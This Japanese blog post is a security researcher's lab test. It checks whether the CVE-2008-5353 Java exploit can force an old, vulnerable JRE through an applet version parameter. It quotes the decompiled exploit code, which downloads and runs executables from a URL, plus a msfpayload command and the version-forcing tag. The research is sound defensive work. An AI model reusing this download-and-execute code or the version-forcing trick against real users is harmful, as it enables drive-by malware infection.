CVE-2008-5353 の Exploit コードで脆弱な JRE が悪用されるのか確認する

ここ 1,2 ヶ月ウェブサイト改ざんにて、Exploit コードへ誘導する script タグが埋め込まれる場合、Java Runtime Environment(JRE)の脆弱性 CVE-2008-5353 が悪用される場合が多いですね。2008年12月23日の日記でこの脆弱性を調べてみて、悪用のしやすく危険度の高い脆弱性であることは分かりました。しかし、1 年も経った今頃になって悪用され始めたのはなぜ?と思いました。ひょっとして、JRE はアップデートしても古いバージョンが残るので、最新版の JRE がインストールされていても、古い JRE を呼び出されるのではないかと考えました。ということで、実際に CVE-2008-5353 の Exploit コードを使って、脆弱な JRE が悪用されるか確認してみました。

結論

結論として、脆弱な JRE を指定して Exploit コードを実行できるようですね。ただし、警告ダイアログがポップアップされるため、ユーザの操作が必要となります。この操作の必要性からか、今のところ JRE のバージョンを指定して Exploit コードを実行させる手法は悪用されていないようです。なんにせよ、JRE の古いバージョンはアンインストールしておくのが無難でしょう。
以下、テスト環境の構築、確認の過程をまとめています。


[2010年1月16日 15:40頃 追記]
JRE 1.6.0_u10 以降を初期設定でインストールすると、以後アップデートでは古いバージョンが残らないようです。詳細はこちら

テスト環境の構築

脆弱な JRE を悪用されるか確認するために、テスト環境を作成します。テスト環境を作成するには、以下の 3 つが必要になります。

  1. Exploit コード
  2. Exploit コードを呼び出す HTML
  3. 実行ファイル
Exploit コード

Exploit コードは、Malware Domain List に登録されていた、この URL から取得しました。Java decompiler の JADミラーサイト)で Exploit コードを逆コンパイルしてソースを確認してみると、指定した URL からファイルをダウンロードして実行するだけであることがなんとなく分かります。以下、該当部分のソースコードだけ抜粋しました。

String s = System.getProperty("os.name");
if(s.indexOf("Windows") >= 0)
{
  int j = 1;
  if(cc != null)
    j = Integer.parseInt(cc);
  for(int i = 0; i < j; i++)
  {
    URL url = new URL(data + Integer.toString(i));
    url.openConnection();
    InputStream inputstream = url.openStream();
    String s1 = System.getProperty("java.io.tmpdir") + File.separator + Math.random() + ".exe";
    FileOutputStream fileoutputstream = new FileOutputStream(s1);
    int k;
    int l;
    for(l = 0; (k = inputstream.read()) != -1; l++)
      fileoutputstream.write(k);

    inputstream.close();
    fileoutputstream.close();
    if(l >= 1024)
       Runtime.getRuntime().exec(s1);
  }
}
Exploit コードを呼び出す HTML

Exploit コードを呼び出す HTML については、Wepawet にて取得しました。.jar を呼び出す Wepawet のレポートをいくつか確認しましたが、どれも似たような感じでした。確認した Wepawet レポートは以下です;例1例2例3。以下に例1の該当部分を引用します。

http://wepawet.iseclab.org/view.php?hash=309caa93efe6341d9af7a8add5e9d041&t=1259191296&type=js
実行ファイル

Exploit コードから実行する実行ファイルを Metasploit Framework 3.3 の msfpayload から生成します。以下のコマンドにて、calc.exe を起動するような実行ファイル a.exe を生成します。msfpayload については、このあたり*1を参照してください。

$ ./msfpayload windows/exec CMD="C:\WINDOWS\system32\calc.exe" X > a.exe
テスト環境の完成

これらを組み合わせて、CVE-2008-5353 の脆弱性を悪用するウェブページを作成して、JRE 1.6.0_07 をインストールした Windows XP SP3 + Internet Explorer 6 SP1 の仮想マシン環境でそのウェブページを閲覧してみます。閲覧すると、Exploit コードが読み込まれ、calc.exe が起動します(以下の画像を参照)。これでテスト環境の準備は完了です。

複数の JRE をインストールした環境における Exploit コード実行

テスト環境の準備ができたところで、脆弱なバージョン JRE 1.6.0_07、最新バージョン JRE 1.6.0_17 がインストールされた環境で、テスト環境のウェブページを閲覧してみます。すると、Exploit コードが読み込まれますが、何も起動しません(以下の画像を参照)。タスクトレイに Java アイコンがあることから Java Applet は起動していることが分かります。

Sun が提供している「アプレット開発者ガイド」を見ると、基本的に最新版の JREJava Applet を実行するようです。一安心。ただし、明示的に任意のJRE バージョンも指定できることが分かります。では、脆弱な JRE 1.6.0_07 を指定して、Exploit コードが実行された場合、どうなるか確認してみます。

デフォルトでは、新しい Java Plug-in はすべてのアプレットを、このリストで指定されている最新の JRE バージョンで実行します。明示的に要求されている場合にのみ、以前の JRE バージョンでアプレットを実行します。

Oracle Technology Network for Java Developers | Oracle Technology Network | Oracle

脆弱な JRE を指定して Exploit コードが実行されるとどうなるか

「アプレット開発者ガイド」のアプレット開発者ガイドを参照すると、applet タグの param タグとして、JRE バージョンを指定できることが分かりました。テスト環境の applet タグに以下の param タグを追加して、テスト環境のウェブページを閲覧してみます。

<param name="java_version" value="1.6.0_07">

テスト環境のウェブページを閲覧すると、以下の警告ダイアログが表示されます。この警告ダイアログで [実行] を選択すると、JRE 1.6.0_07 で Exploit コードが実行され、calc.exe が起動してしまいました。ちなみにこの警告ダイアログで [取消し] を選択すると、最新版の JRE 1.6.0_17 で Exploit コードが実行されるため、何も起動しませんでした。

他にも JAR ファイル生成時に要求する JRE バージョンを指定してみましたが、この方法では脆弱な JRE で Exploit コードを実行させることはできませんでした。java を実行する際に -version:"指定バージョン" オプションを渡すために JAR ファイル生成時に -J-version:"指定バージョン" オプションを指定しています(以下を参照)

C:\>java -version
java version "1.6.0_17"
Java(TM) SE Runtime Environment (build 1.6.0_17-b04)
Java HotSpot(TM) Client VM (build 14.3-b01, mixed mode, sharing)

C:\>java -version:"1.6.0_07" -version
java version "1.6.0_07"
Java(TM) SE Runtime Environment (build 1.6.0_07-b06)
Java HotSpot(TM) Client VM (build 10.0-b23, mixed mode, sharing)

C:\>jar cf cve-2008-5353.jar -C jar . -J-version:"1.6.0_07"

ユーザの操作が必要になるとはいえ、脆弱な JRE を指定して Exploit コードが実行される可能性は十分にあることが分かりました。特定の JRE が必要ないのであれば、古いバージョンの JRE はアンインストールした方がよいですね。

参考情報

*1:metasploit.comに msfpayload のヘルプがない・・・